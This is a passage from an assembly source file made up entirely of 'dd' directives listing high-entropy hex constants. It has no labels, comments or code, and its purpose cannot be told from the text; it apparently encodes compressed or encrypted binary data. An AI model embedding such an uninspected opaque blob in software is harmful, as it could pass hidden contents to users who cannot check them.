0FF6FCh, 0B995F10Dh dd 40C30E16h, 73D88E00h, 56B06C38h, 0DCA30057h, 34216DEFh dd 82003076h, 61BD43D3h, 2C0F337Fh, 3EB59658h, 8C084C01h dd 0F00B9EB3h, 8427F6BFh, 0DFA00073h, 72396Bh, 0A558EEF8h dd 4BF1099Ch, 0D77E7304h, 98E0CA84h, 9FA30017h, 6B49B1A2h dd 56005DEDh, 0D66C21B2h, 73BAABh, 45769F22h, 0F3613D44h dd 0C27DB0C0h, 19085E1h, 0B3CD2443h, 0CC343F8Bh, 0EE1DC6A2h dd 55C04D50h, 0A5063817h, 9F727Dh, 0AABAFA65h, 2C62D940h dd 7571DF00h, 0ED31CE8Ch, 60DD5CEFh, 0A2F80F01h, 8EE21C40h dd 0C0AFE110h, 0E90A5D52h, 6D270017h, 0EAC4E6CAh, 8D186944h dd 577803F2h, 0C05D028Fh, 0E0BFB2B4h, 60841448h, 87D9253Ah dd 0E72A8A5Ch, 0E4EDAAD0h, 0A0DFFD7Dh, 0B4A5EC77h, 81C10004h dd 84006C8h, 3B64DE48h, 94460064h, 0D0BFC6C3h, 0C5230021h dd 5FBE373Bh, 1F60CD4Fh, 0CB116468h, 56AD006Eh, 0C787B565h dd 9807492Bh, 37B70E08h, 0B46169E0h, 1C210062h, 0CBDE6D8Ch dd 0F3008215h, 814B9D7h, 0ECF60EDDh, 0B86C00A2h, 0C14632E6h dd 2700F099h, 1D7AD3A9h, 576714h, 1A771365h, 4E94EF16h dd 0E2754802h, 60D1A7F8h, 0F214D0h, 145293Ah, 66F4E8E4h dd 5722BE00h, 0DFEDEB39h, 31E18ACh, 0ABE4624Ch, 770F300Bh dd 0CC184067h, 0F2411DFAh, 9D1FC099h, 0B1BC30A8h, 25E08501h dd 7DA1A233h, 72F6D4h, 12974BF0h, 0FE996F49h, 57BF1500h dd 0F057380h, 0A5BB2E72h, 0C6DC0019h, 445A438Dh, 28E3D8A0h dd 0AF8C6F00h, 0EF3703A9h, 32EEEAh, 0C7DB7F5Ah, 9AF7F2B4h dd 2265C100h, 1606B231h, 0ED10000Ch, 0E8A6D9FDh, 7F00FF40h dd 23A34E4Bh, 0DBE108h, 0C17C1067h, 0AE35A4F7h, 5DB98700h dd 8A141A2Ah, 0E4BA77DAh, 0FF480040h, 53E8914Bh, 5509EFC8h dd 831D08ADh, 98DE6F9Ch, 2494650Ch, 748CEEh, 40C2E64Fh dd 6900EAA2h, 0BE9B07A0h, 3FF035h, 68275102h, 0BA4FB62Bh dd 8B49E00Eh, 9D0C20CEh, 2FA56Ah, 796B7784h, 6D21331Dh dd 76835500h, 0D32B16CBh, 2F380F8Ch, 0CD21A05Dh, 208A67D8h dd 0DB008D85h, 8639B808h, 0C737B6h, 7E564357h, 6ECF627Fh dd 8C8739h, 6142FC8Eh, 0DA32D2h, 557BB08Dh, 869FB846h dd 36B38000h, 7C40C4CEh, 143B0504h, 0E257CD20h, 0BE43C38h dd 8066D56Dh, 0F0B199FEh, 7E280059h, 0ADC6C9DBh, 0C02F413h dd 5CD71A37h, 44CC402h, 0B3864AACh, 7C40C009h, 0A72D9B2Eh dd 395C80BCh, 20E9D189h, 4C019093h, 32490895h, 3F20177Ah dd 0EE0E0780h, 60817F5Eh, 0F588E8B9h, 96F2ED03h, 0F80F7333h dd 12B3BFD8h, 4953B817h, 0B0201C20h, 4D30EBF7h, 0E46BC124h dd 2168E180h, 579486h, 0D931C06Dh, 608CDC3Bh, 808ACF3Ah dd 5465035Ch, 75FCF51Ah, 36D21D2Fh, 0AD9ECCh, 916A513Fh dd 0FEFE2008h, 253EEE00h, 0E86B53C9h, 0D7C0007Fh, 4A523518h dd 0EE008CD9h, 9D5E08B8h, 482D5Ah, 0A81FB99Bh, 5FC7B5F5h dd 0ACBFF301h, 8151600Ah, 0E4E4A3C9h, 0D8C8071Ah, 0F0E052B6h dd 2DF1AD25h, 5CC0E94Ah, 0BF53D6h, 0B99C68EBh, 78A43252h dd 5127200h, 0A1D6510Ah, 0CF5B0192h, 2B6911ECh, 7F90D3DCh dd 0AB018E9Dh, 97AC14C2h, 28D8ED18h, 0FF440060h, 0B33033C0h dd 8FF21F2Dh, 66A25502h, 0D2C64CEDh, 0AEB20094h, 8498E097h dd 0D5BE411h, 0D954CC00h, 0B03064C5h, 631C1DFCh, 65F90169h dd 70BC1E49h, 0C200CADDh, 8108F273h, 0C0AC7Ch, 955383EAh dd 178FB991h, 3BB4BB0Ah, 0BC008B98h, 2B25E7B8h, 0F2160039h dd 0C5225B47h, 0B713ABE6h, 2C80537Fh, 2AF4D17h, 67D7C79Eh dd 48407305h, 0F4015FB4h, 56B198FAh, 50D02D4Bh, 297D001Dh dd 9CBAC8B9h, 0B372DB4Dh, 0BB00D5FAh, 634A4C18h, 440CECBh dd 79C5127Eh, 0FC18C064h, 1C72DB39h, 910737E0h, 311DC067h dd 0C6B2805Bh, 3BA1105Fh dd 518E896Fh, 90A7C999h, 0DDA4C040h, 3707C73Ah, 452B6A48h dd 9917Ch, 0B740A6F5h, 0D38CD0FCh, 12F33F00h, 7F0ED477h dd 0BCDA0090h, 0EA02322Ch, 68924BA1h, 0BD2AAC02h, 54BB571Bh dd 88B41E88h, 81005FE8h, 0EF2C7D55h, 0D8250733h, 0C0C58892h dd 0CA4E58E1h, 2BB1AD06h, 31EE5Fh, 2AB99417h, 0BD252837h dd 76298700h, 634FEEDDh, 91D9002Bh, 7567418Eh, 50040A4h dd 0C1AE46D3h, 98506AEDh, 274225FAh, 8FB81060h, 0AE457A00h dd 0CA8856B7h, 9B570015h, 86BC859Eh, 4D126537h, 0B4007B2Ah dd 4011FC46h, 3FC600E8h, 6333875Ch, 4100812Eh, 2070E97Ah dd 746753Bh, 49EF9D1h, 4E1D00BDh, 1A000D18h, 308A5591h dd 0F9ABE552h, 498C402Bh, 0AE98868Eh, 0A50FB277h, 617258C6h dd 0CFC84284h, 0FD5AADCh, 0F5DCB938h, 0FBBF1940h, 5E00D893h dd 94E87FCh, 4A54ADDh, 6EF5B134h, 1DCAC36h, 2F18B9E7h dd 0D0619A7Ah, 808DE002h, 75828AB0h, 0DE6B00A3h, 0AC60381Eh dd 7D023B9Ch, 9F171A31h, 47EDE0E5h, 0EC13007Eh, 338669BDh dd 0C4A051A0h, 39079D53h, 2F5CCBD2h, 6C527A70h, 58E003BEh dd 0C8E6834Dh, 0F5449B98h, 50AF5650h, 0AA140095h, 64DF3ECh dd 92424958h, 3C0F1957h, 0C09BBFF1h, 7024F22Bh, 0E805502Ah dd 82113CD7h, 0F76B3D00h, 0CB19EF1Ch, 3807D435h, 285AFA04h dd 2D0150B8h, 70D6ED04h, 47FAD06Dh, 22A3AC00h, 1259DFE2h dd 718E0E6Eh, 0E5A011FEh, 7294F2D5h, 92BCB354h, 23879D0Eh dd 1C001264h, 4FFBAAA1h, 54E150B7h, 0B0861DD8h, 4D00FA05h dd 3BA09EBCh, 0B028467h, 355CF738h, 0C348812Ah, 447469C9h dd 3C6C4973h, 0B048221Fh, 6050FEEh, 0F41A2B27h, 4025097Bh dd 0F4488080h, 0B10067B0h, 78E17F84h, 22C381h, 5C6941E3h dd 3A2E3264h, 692ED00h, 29CB4D56h, 2D8800C4h, 0CE4B2C46h dd 8107A77Bh, 58D76947h, 904F38BCh, 98153CCAh, 6533FF00h dd 295FCA06h, 837DDA38h, 0D1814EF9h, 0E1881C24h, 4155C5CEh dd 5ECAC14Fh, 0EB26D883h, 8100B87Ah, 290DEDC9h, 0CD2B95h dd 90355BF3h, 26D6B03Dh, 394C4600h, 2BBC5D88h, 0C9530797h dd 900B9117h, 732CB725h, 44CFDB00h, 9AB98AD7h, 0B1A10148h dd 98A4C3D0h, 0FB2D20C7h, 0F5B64603h, 93F03E62h, 83C801DBh dd 8C4A7368h, 11528B41h, 600E8F5Ah, 87D0E56Ah, 0E8FC0049h dd 72375831h, 0B0FBB31Ch, 87FDFC38h, 4951006Dh, 749D35E0h dd 7A1E908Ah, 79804F48h, 0BF771D55h, 9E83035Fh, 6AA3F2AAh dd 761295F8h, 36665101h, 0B193335Dh, 1E65007Bh, 5C7B3F3Ch dd 0BC1A1C1Fh, 6421B400h, 0E83E9C4Ah, 7CF40084h, 67ED1FFFh dd 0B024240Eh, 301235Ah, 4CD4700Ah, 0B179CCh, 0E16E6FF4h dd 3446736Dh, 4A8438h, 10097E08h, 0A0CA55D2h, 7E0781C9h dd 87905Dh, 80B3005h, 20F05114h, 0B026FF02h, 43D1745Ch dd 49580C49h, 0A6081ECh, 0D3956F0Fh, 0BA7F40C9h, 0A2D2C8h dd 61D87C58h, 4B679077h, 0CFD11428h, 0A3C02609h, 0C630056h dd 77E6370Fh, 0DDA900B5h, 0D5F81ED9h, 77064868h, 5A3E9E2Dh dd 0B4A71E71h, 0ED6040CDh, 2AC12E66h, 0C400ADFEh, 0E57F3320h dd 72BF9Fh, 3EDDF74h, 0CD05D692h, 0DA11BB00h, 0A9964DA4h dd 7AFF902Fh, 7507D1Ch, 0FAE10E6h, 0B4FA90CEh, 711B37B3h dd 88201AF8h, 3193993h, 2FE8D152h, 3DC03FB1h, 3200CCC0h dd 0D8A3047Eh, 804884h, 0C6291F1Dh, 72F45C61h, 2D2C4300h dd 872EF930h, 0D94B0909h, 3300AF47h, 0FA32BF9Dh, 1116A301h dd 9B6671B0h, 0E9A3B70h, 9F18AB7Ch, 195A9680h, 802C4611h dd 21007C68h, 3012E66Dh, 0DA233F31h, 4DB29482h, 0D761B071h dd 0F064E45Bh, 0D7333000h, 0B577D0F5h, 10F7078h, 0F49084F3h dd 811C03E4h, 0A9955058h, 884D9105h, 8402CF4h, 0FDC51AF3h dd 746A50h, 1FD25DC3h, 4992DA7Ah, 0B500B8E2h, 0AA1011FDh dd 1ED8E404h, 40762F20h, 0DE894629h, 18C405DBh, 374F4240h dd 6A0027EFh, 8C2AB3F3h, 729CA800h, 0B01BA30Eh, 0DD1D17E7h dd 69BC00A7h, 0D8AFDED2h, 7F72F00h, 0AED706B3h, 193C0373h dd 0F9A434Dh, 3A1A39A0h, 8C69601h, 59685E01h, 0C10ECCh dd 10FC47E0h, 110D4BE7h, 5FB87900h, 4F0BCD37h, 853F0027h dd 0C7701CA8h, 9D5882ACh, 72070450h, 9881F98Dh, 0B06ED866h dd 3905B533h, 0C1954126h, 2E538B80h, 1A1003A0h, 5AFBE87Ah dd 5BD16CB0h, 0CE23C100h, 72C2953Ah, 0CC50150h, 338C5997h dd 5D55C879h, 410F2C00h, 28583CF3h, 85982D0Eh, 3E9AD505h dd 0D7D50A04h, 4231C60h, 0D8BBE057h, 89E03FD4h, 18C384FCh dd 0D831Ah, 0EABCF320h, 68ACCA64h, 0C9351C00h, 9C6AA782h dd 0F80200F5h, 8476EC22h, 28011367h, 0A6CD4BD9h, 0FC4034DEh dd 0A005BFh, 58FED489h, 0DBF65D20h, 83FC8F00h, 474A0224h dd 0DD70E82h, 64278DFEh, 7A2707BBh, 67C45820h, 0F8E2321h dd 0A6A01EA7h, 3654F6FFh, 0FB7C9E03h, 0A8F416h, 832F0FC0h dd 3DB3ECCFh, 89CDAD02h, 0A2D89772h, 482C5F80h, 98C350h dd 4C866D96h, 403F76CAh, 0E7CA748h, 0E0E11406h, 0B7283A24h dd 0EBDD00F7h, 0BE41BA96h, 4D007B2Fh, 0AB2247B4h, 0A8DF3CAh dd 8C6B59A4h, 42A00CB0h, 0F000BE49h, 442C627Fh, 0FECDA4h dd 4B30F6F3h, 18B6BAEh, 8B4A649h, 0AA351Ah, 8E4A590Bh dd 9900A5A8h, 0F054BEB2h, 0CF1D577h, 0BD74E5CFh, 4067C49h dd 88A003B5h, 6B4E0071h, 0DD0294FCh, 0E1030C23h, 0F7A2CCA8h dd 74200088h, 1559A07Ah, 0A5B8544Fh, 2405527Eh, 0E03B5CC2h dd 33E2EC00h, 0CB3217AEh, 8A004591h, 1E13E826h, 0C70CB01h dd 0C2F6074Dh, 0F4ABF180h, 7FF23F8Dh, 7ECBB306h, 0F70B476h dd 0ADC8E93Ch, 0BA51C1E0h, 9000AEF1h, 14B93FCAh, 1364A7h dd 8096ED26h, 7CADF0C0h, 0E07D1214h, 9D1116D0h, 46A42E03h dd 62680065h, 0A5CEFA92h, 5D1E9F33h, 45408550h, 0C7966061h dd 74E40A72h, 209768EEh, 0D48845B0h, 3A004FBDh, 7D63EF4Bh dd 0F47A19EEh, 41390603h, 0A8CBB834h, 0D0797400h, 8872F6F5h dd 9283280Ch, 91B088EEh, 7E6B0090h, 9B10AA25h, 0CE18C17Fh dd 52154A9h, 26F0E138h, 0B89248AEh, 211EA086h, 441FA2F2h dd 30C322EDh, 803A0A37h, 0F2AFF09Fh, 0E13415F8h, 0BA00BC3Fh dd 0ED80DB1Eh, 770AD182h, 84D806CDh, 20943C89h, 384D6CDCh dd 5C283E31h, 0DEB40073h, 0CD6E96D9h, 79C226ACh, 4BFD1AADh dd 0DF29090h, 220705C2h, 80A6963Fh, 7B70DC3Bh, 0D63EC000h dd 0E934829Fh, 8F30C0B5h, 90CA11A0h, 68692300h, 0AA6358ACh dd 44C10066h, 0F2930678h, 51E5C53h, 0F0C56BA9h, 0A840D03Ch dd 453EEEB7h, 91CC0FDCh, 7F601D06h, 3098E7DEh, 341359h dd 2F1C071Eh, 0E084E221h, 0B6F8BF70h, 6BC78200h, 0B83E1628h dd 0A7F5029Eh, 47F6ED78h, 96769C98h, 91F48A54h, 8830C900h dd 2140A158h, 26DE000Fh, 5441CCBDh, 0B178DDA3h, 50BCAC09h dd 5904A08Ch, 0C596CDh, 0FBAFF614h, 16C018D6h, 1C940A00h dd 644FD56Fh, 1FAEF074h, 80ED25FFh, 0ADFED7EFh, 0A6004BBDh dd 9E5010Fh, 1806C04Ah, 91964326h, 9A009E4Eh, 0C1B3470h dd 44E529h, 6D30E168h, 3A37A771h, 12829E39h, 0A8498313h dd 5CEC037Fh, 0A6A1002Bh, 8A7087A4h, 9F0123FBh, 91FD5D61h dd 4220A334h, 7365266Ah, 8CDC029Ch, 0F884F3CBh, 0A27B43A7h dd 46A0CF37h, 9082C202h dd 2A180E86h, 5DC0D325h, 0C658F0B3h, 162A39E6h, 0B479FC99h dd 0B778FB48h, 56D2BE30h, 5F3D006Eh, 0A66D9EA7h, 2A60C595h dd 0E149AEB1h, 24E61Fh, 3643C081h, 86AF8E16h, 11E34D01h dd 1DFD60B6h, 4C7CA44Ch, 4880CCAEh, 260B6D17h, 4BFCE012h dd 0AC272C64h, 0FB026233h, 0DB91C809h, 50DA0004h, 0CDA06E14h dd 0F60A03BCh, 8C77CC4Ch, 228F1808h, 9E6D0020h, 0C1E30CD1h dd 8A0FAF54h, 0A0210529h, 0A6601DDBh, 0FF84AA9Dh, 6BD953C0h dd 0AB16B207h, 0C880C9C3h, 9F96F0h, 74DC9E79h, 8FBE0E22h dd 5C90A924h, 2DCEB807h, 0D8976474h, 33D793Ch, 8E2401EDh dd 18F84586h, 0D3094B61h, 21516276h, 407D6800h, 308007E1h dd 0B87110B6h, 270058A1h, 0A21ACFAEh, 9D7EDFCh, 7A5F62F7h dd 3F4A34A0h, 0F4004407h, 9846B1Ch, 691DC0h, 91BCDE06h dd 50D55E01h, 8057F639h, 89AECE76h, 64815AAh, 728A9280h dd 105A999h, 0E6C49B52h, 0C9AAA90Ch, 11941395h, 77B70066h dd 6703E104h, 12C5913Ah, 68337018h, 28D29534h, 0C562C167h dd 0B8317DC5h, 3540C8h, 2706369Eh, 527A9A12h, 7C0D9702h dd 408FFD76h, 56C794Eh, 804468B7h, 0CC40C0D6h, 62608D06h dd 0A697AD88h, 0D20D0147h, 729279FFh, 766423B0h, 8E738315h dd 163400A8h, 0E1EEA4FDh, 0B9B524ECh, 95E267B4h, 0C57C81D8h dd 0A41980B8h, 96890C7Dh, 0CC67F39h, 0F1E34795h, 0C925FD1h dd 0FB039A00h, 0E8CDF032h, 1E2A1F08h, 319DE56h, 0BDCAF84Fh dd 0A9CB5809h, 3CC4A22Bh, 29B0A08Dh, 0BCD49Ah, 8B3193ACh dd 0BE1DFEE7h, 203083Dh, 0A5F6F169h, 86F86835h, 0A87D79h dd 6FA06AEAh, 0D3CB82FDh, 0B1B9A515h, 0EAD1007Ch, 0AAB52050h dd 0D2A10AE1h, 43F0AB61h, 51003FA4h, 0CA38ED0Ah, 5CE2D9h dd 4F0CBF3Dh, 97C8AEEFh, 0F9A2DB14h, 86600B60h, 0AD2486BCh dd 301900F8h, 0D27CF496h, 1B00142Ch, 2582A387h, 31FC126Ch dd 48C1E873h, 54C8FA3Ch, 71125855h, 805C8DCh, 0C4C472ACh dd 2E4E34A0h, 9414F0B6h, 5003341Ah, 63B7FC21h, 1FB366E0h dd 0A95E9A01h, 6C2DE088h, 3E175872h, 527020A3h, 6A00148Fh dd 83EB992Ah, 4FE65D4h, 0B5DA84E4h, 0A030D0E0h, 30C08B74h dd 6A6162Fh, 0C518000Fh, 3B3EDBB3h, 8B02F520h, 0EAC07A11h dd 0FC684822h, 0A1F083A8h, 0AA005896h, 0A4550E28h, 2E8FA9E3h dd 1EEC3493h, 68F39892h, 5A31AAABh, 335F39EAh, 50378183h dd 0FAD88301h, 0F40B4E24h, 80270CA3h, 0F3CEF2E5h, 0EAFC2EAAh dd 48BA8120h, 4C5CFEF4h, 30F737F4h, 0C9C17530h, 55B71BA3h dd 0CE4C6h, 4CBCEB96h, 0D50E3F53h, 6D0F0900h, 0D7D9D04h dd 6FDB153Bh, 2072707Bh, 9A1F7A4Bh, 49B1C14Eh, 49D6BDA4h dd 0F0237C8Ch, 38FCA807h, 4DC23510h, 50D4CDD8h, 86FDAA74h dd 0C006C1D2h, 17D9F54Ch, 30A81A27h, 0AF578170h, 31B1D604h dd 24C7C344h, 0CDA49869h, 0B47317CCh, 1D644EA5h, 6557E0C2h dd 26F900DFh, 0B8F2765Ah, 7471C048h, 422841D9h, 1FA5CF4Ch dd 4457E5B7h, 0A4406C5Dh, 95D3391Eh, 92A27736h, 0B4022CC8h dd 0EC826934h, 9C5A01CEh, 0CD708000h, 0FD72EBB0h, 0E94A6038h dd 5310EE8Dh, 91EFA400h, 55CC4F58h, 0CA250023h, 0E6A6794h dd 147805B9h, 3CFED409h, 97420F2h, 3DBD1E26h, 2EF096B0h dd 8464F9h, 821BED41h, 6115E7A3h, 384ACA7h, 9694EB56h dd 179009Bh, 0F0BCAD60h, 4400112Ch, 0D46D7520h, 96210B7h dd 8E57F145h, 10D074B1h, 92100BCBh, 3BAA151Ch, 0CD14C8F1h dd 58267805h, 0E08CA460h, 8332C0D0h, 33BF271Ch, 0B2F95102h dd 188645Ch, 0A6A10555h, 0CC13477Ah, 7F9869BAh, 2CAA7800h dd 7942F187h, 12F0A515h, 3C98224Ah, 0F78DF4A0h, 7DE4C1D2h dd 0DA5DA101h, 41B76D93h, 3F94C4h, 0EFD33B16h, 96E4601Eh dd 97585A48h, 782F7420h, 0F486E4C4h, 0ACD4268Ch, 814B4484h dd 362E8998h, 9DA409D4h, 18C86828h, 0FB900FBh, 40A3DD48h dd 0DB3CAC8Fh, 0C3E804D0h, 0CABC7BCDh, 224CA717h, 6033DCh dd 1A003B03h, 0AA3F0822h, 0E40570DEh, 0C93724CCh, 205216B4h dd 0E47B3040h, 66A0D054h, 9088CACh, 0E07CC7h, 1CA25A02h dd 291FD411h, 540E7EBh, 0E3A92EECh, 127C92D3h, 2282C0CDh dd 0C21206C0h, 0E6B052B4h, 20A44B44h, 9A5EF490h, 39FFEA80h dd 0F3A4101Dh, 838B47D0h, 0C0160C41h, 0C41F812Ch, 4430B793h dd 1DE2002h, 0A6C87C0Ah, 62E34B83h, 0CFCB12A8h, 4CC3424h dd 5848022Ah, 0D36FFD7Ah, 0E3C5C0B0h, 2700909Ah, 61686321h dd 137BC4Dh, 945367C7h, 0F5CB6B58h, 257320E0h, 304C8758h dd 0FA71B1D4h, 1381017Fh, 3099789h, 9283CC8Ch, 182C282Ch dd 70E53360h, 0A491C26Ah, 14E480BAh, 0D2AE3Ch, 0DEFE9341h dd 387912A2h, 78A896E6h, 0C4C8EA18h, 0C9974EA9h, 0FF305C20h dd 0DBD66800h, 86979A13h, 5377264Ah, 1EAA6030h, 0F099A8A7h dd 5B191D80h, 0B8C11264h, 0C0DEFC94h, 0F3018A21h, 2E0045D9h dd 98846F52h, 92EEFDh, 0EB85822Fh, 9B51112Ah, 97A6A1C3h dd 0A0D01793h, 33DC4723h, 631E00BCh, 68071CE8h, 4A320CE9h dd 0DAA7F861h, 60C5B870h, 6EC2D98Eh, 7A0014A4h, 0C7F05936h dd 51F43h, 96C368C1h, 0D56720B4h, 2F85FE27h, 6A912030h dd 16002F5h, 8476ED99h, 24BDC84Eh, 0F6110150h, 551364C2h dd 688441DAh, 0D93E7236h, 5A6ED819h, 0FB00AAEEh, 0EAD405EBh dd 39656C47h, 278426DBh, 9819F4E9h, 0CE4FBB94h, 31382Ch dd 1E05412Bh, 0D94298CBh, 0D17BF375h, 5359DE00h, 908C8F65h dd 0F7ECA480h, 3024E422h, 7F15C264h, 0A41288ECh, 821C78Bh dd 72E61801h, 96FD01F0h, 992D808Eh, 5DEFC19h, 0FA042600h dd 1003257Bh, 0F3CA09AAh, 0BC275F3Ch, 0A9C300DDh, 9F00A838h dd 739607F5h, 24619BA1h, 605C958Ch, 19D44B70h, 2D543E00h dd 6A200D83h, 0C80C17F1h, 8AF461D1h, 0C53042C7h, 0C0986CCCh dd 69B5EE20h, 5802E862h, 0D8DA728Bh, 0F80DA924h, 97A81801h dd 89319E81h, 24E8C10h, 0EC2CA267h, 4A20B43Ch, 0D0C00047h dd 0F8B92676h, 0FAF57F0Ah, 4B8F505Dh, 35A6259Eh, 50671AC4h dd 0BF8493Dh, 95A09657h, 2000ECECh, 62B30D40h, 9400C595h dd 7844BDBEh, 2CE4CCCBh, 8EC88FCh, 1849A11h, 6C902850h dd 0B0DB8AD6h, 39771Eh, 34026445h, 387CA78Dh, 1E5D7F48h dd 84ECCBA8h, 72F6F440h, 0F1683A34h, 0D30B98CCh, 9866ADCBh dd 0C04C82F6h, 342D2693h, 7BB870C1h, 74C8034h, 0DC4FA757h dd 641FE0F6h, 0EE050A80h, 0A3371938h, 7370A4h, 680CB617h dd 32A17103h, 0DE048500h, 0C2CB1210h, 0CC1102D0h, 585715EDh dd 94001872h, 0C3ECE418h, 1E8BA9EAh, 5CCDB0Fh, 0C1C89181h dd 505C96BDh, 0D21A4CDCh, 610F1600h, 55E0C042h, 377904C3h dd 8C4498E3h, 3B03A47Ch, 0AD055A30h, 0E8CEFAAAh, 0B2AE5FF4h dd 7E1B004Ch, 29729826h, 99131346h, 0D898FABCh, 6679C05Fh dd 90181337h, 80D3D43Fh, 678DAA5h, 5B8E7FAh, 0BC691CACh dd 25E05D93h, 6A408A7h, 4B04E990h, 0EFAF98F4h, 6829E4A5h dd 0D8E23E00h, 0AE167019h, 4AD5F900h, 3FB87227h, 0F4A3FADCh dd 741F4C6Bh, 6006CB09h, 0FCAA2C20h, 6CA60DF5h, 4B69D600h dd 0D9650763h, 0EEE2D11h, 0FC31D419h, 7B05E996h, 0ACCFEB9Bh dd 248000B4h, 4974944Ah, 5CB1C38h, 64AC14A0h, 0DE36AA3Dh dd 84A9CC49h, 94A18010h dd 0A04E49D0h, 2CF71238h, 8008D61Dh, 4F5B0814h, 0FA1C964Ch dd 77803D6Eh, 1ECA851Bh, 6D5000F6h, 9C9BB6D4h, 1CA01F02h dd 747B1035h, 59CCB800h, 88DCBCEEh, 9F400FC9h, 0EA29603Ah dd 7261C8E8h, 6C53BB4Bh, 382F48C0h, 55541370h, 50C0594h dd 35C4220Dh, 6F8C6D20h, 4BFE0091h, 24F266B9h, 0B538DB22h dd 9D7C5C57h, 80369280h, 48F868EAh, 205B415Fh, 168F3340h dd 39486F01h, 1BCFE4Ah, 2EF483E9h, 2B853DA2h, 4028552Eh dd 0DA914CF1h, 0C201C7E6h, 8A180401h, 6C735C5Ah, 716C3A28h dd 50BD6205h, 0D473F59Bh, 1B1E21BEh, 79A8617Eh, 0DF4C8A49h dd 98480Dh, 60A71188h, 818B69h, 8F2E91C7h, 0C22061F6h dd 0E57E64A4h, 8864ED48h, 0BF20CFAFh, 5F679EFDh, 1D80B096h dd 9F4C10CCh, 78F2B0h, 0FECB94Dh, 974912F7h, 84D0E449h dd 5890A1C5h, 784F37EBh, 15FB0250h, 45A0C7A9h, 8A1E4C71h dd 0C540F0A6h, 0AB4A1DFEh, 9185C0D8h, 0F4BF0768h, 7E71AD69h dd 0F85A8800h, 9891FBF3h, 61015C29h, 2D48ED01h, 58B73F0h dd 2EECBE18h, 0D7E028C2h, 0ED6846EEh, 0AA62C070h, 5908E2E4h dd 87E34218h, 0AD94302Bh, 9F042A7Ch, 0CBE0490h, 82B66FABh dd 3C72C9DCh, 7327B07Eh, 994802FDh, 0E20225B5h, 80508B98h dd 68B74A01h, 0F914047Eh, 0C22E9872h, 818129F0h, 0CD065483h dd 1098BC92h, 0BA00A808h, 0C605F722h, 7E2D5EFDh, 0E6F8180Dh dd 0E0205EA1h, 0AF5C9A4Bh, 0D23F00C4h, 0F9CC105Ah, 0DCFB540Fh dd 31C45B60h, 728B78FCh, 64404ED8h, 0BD98139Fh, 1237416h dd 3B2F917h, 0F06B49F0h, 0F70CAE12h, 0B82C9472h, 0C0709435h dd 82509FDEh, 189D7C0Ah, 0D581AC38h, 0E3107AD7h, 0B0D0B5C9h dd 4CF85496h, 2571466Ch, 4B5490B1h, 5CCF00F1h, 0CE194488h dd 2D00EA6Ah, 0DA854F98h, 887C1h, 33493564h, 9A2416E8h dd 6FF01C00h, 0B0A5F9C0h, 0DD131EC9h, 69CEC0E9h, 8BF131B3h dd 0BD22A06h, 73598904h, 5CB000ABh, 0E9343F2h, 0BE07378Ch dd 837AB4E5h, 0CD4D88F0h, 0F96C00A4h, 92DC3375h, 9D006994h dd 0A7797214h, 0F139CC82h, 26CE18E8h, 0A43C57h, 0B34DD2F8h dd 727AC119h, 0BB675A0Eh, 1E1A0097h, 0E6A0E3D9h, 0AE7899h dd 850AC2D3h, 0EE42D6A9h, 84257200h, 0CF7843B8h, 0F9E273h dd 63685961h, 4113C89Dh, 0B0D8E761h, 0A8E34F45h, 0E73FC0Ah dd 852D775Fh, 601BBCC0h, 0D3C0111h, 0B41980CDh, 6E9EAC2Ch dd 0AF6D0053h, 6CD9BA39h, 1300CD81h, 3872D801h, 78A75CBCh dd 35E8181Eh, 370B98C5h, 458D3900h, 0EC564BBBh, 82CC0021h dd 303C52DAh, 0F1F4C9E4h, 77ABBC01h, 54B8353Dh, 307A66D8h dd 0B6A14889h, 609DA734h, 59B227h, 41EF6822h, 0F8ADA53h dd 5D064901h, 8F5F9D6h, 0A6C37880h, 9A327BCh, 8F00D8E0h dd 5EA83CE9h, 18D5BF30h, 88D36D5Fh, 0A00343Dh, 0EA29C306h dd 0FF435CCh, 3331A4E7h, 399BCD01h, 0ED86C993h, 0BDC4C15h dd 28AEB124h, 95420A03h, 0A151041Ah, 802A7FB0h, 51F9DC5h dd 30D2290Ah, 4261ACFFh, 31B095F2h, 21921F40h, 0FCEADE00h dd 67032B0Eh, 0B6720006h, 4518F03Dh, 9A033A11h, 0F8EF831h dd 1B3900B2h, 79DCDFA1h, 8F005F10h, 63E58DCEh, 23799D3h dd 9ABD8E9h, 0F9801D07h, 8E565D0Ah, 55F9EC01h, 0A6656C26h dd 0E409D841h, 3ED81DC8h, 0CB81706Ah, 0D3F3C436h, 1BE3DC7Dh dd 0CFE850F1h, 0A700A52Dh, 0F22FFE63h, 24379E3Ch, 0A1C4192h dd 6B8E773h, 0E1628E76h, 0AC1C0818h, 5357A5B1h, 720F84F1h dd 3C078265h, 9418C369h, 87582900h, 78FCD949h, 0D22F0271h dd 854CACD4h, 6104AC4Ch, 400798F2h, 0DD3EC890h, 10E200B0h dd 8A2A8E39h, 0D203FFDCh, 34AA4CEEh, 4C57DA79h, 7C090454h dd 86664B16h, 8C18A1C0h, 3089B152h, 0A31958F4h, 3549B700h dd 9FEDEF96h, 0B009101Dh, 819EC800h, 0A857CCBFh, 80C28794h dd 1D013122h, 0B4323374h, 0CF405E82h, 12BE99C3h, 4017CD38h dd 743A7D0Ch, 90C1FD94h, 0B1F6E369h, 0D5D880FEh, 0C0CF1A31h dd 0B0AFBA50h, 2454946Fh, 6A078EACh, 5E1F1C81h, 9781D17Eh dd 0E48591BAh, 1891C8B1h, 0D78D36B0h, 0A59700AEh, 5AA89ED1h dd 670BE554h, 0FF1CABEFh, 0A4E3000h, 60007DC9h, 0E95374BBh dd 5C5858Fh, 2B55292Dh, 1F7582D2h, 0BE0CBCA1h, 0F4C7C095h dd 6A0283E2h, 4F99E246h, 4BB0C0B6h, 82891CDh, 0C808D961h dd 2FB0010Dh, 0D09B9C5Eh, 0AF01D0E4h, 71FB5D31h, 8340EAA6h dd 14C78E75h, 0FC871195h, 2C7E1Ch, 735DF238h, 8A303D36h dd 422FE080h, 9D60024h, 99756467h, 8801199Ah, 0B2A8187Fh dd 2261D036h, 746C1940h, 1456035Eh, 7A20EA9Eh, 183FD588h dd 5C86F000h, 8A53276Eh, 7747899h, 0B4CC1F7Ch, 9D47ADEh dd 68020B7h, 0A28F349Bh, 4B879103h, 0C3C06B17h, 0C169A848h dd 7BEC0F65h, 61C05663h, 0F04F1D05h, 50870E30h, 60DA5B7Dh dd 8AF3711Ch, 0B20E336h, 8D607F1h, 63DB40FAh, 0F2D8AF29h dd 5B7C470Ch, 181BE01h, 1F86FBEEh, 12244080h, 38DE9575h dd 89BAC200h, 0CABF5107h, 152F00A5h, 0D305B2C3h, 0AE3F4EF5h dd 82E96EC9h, 60EF2568h, 0F6E3414h, 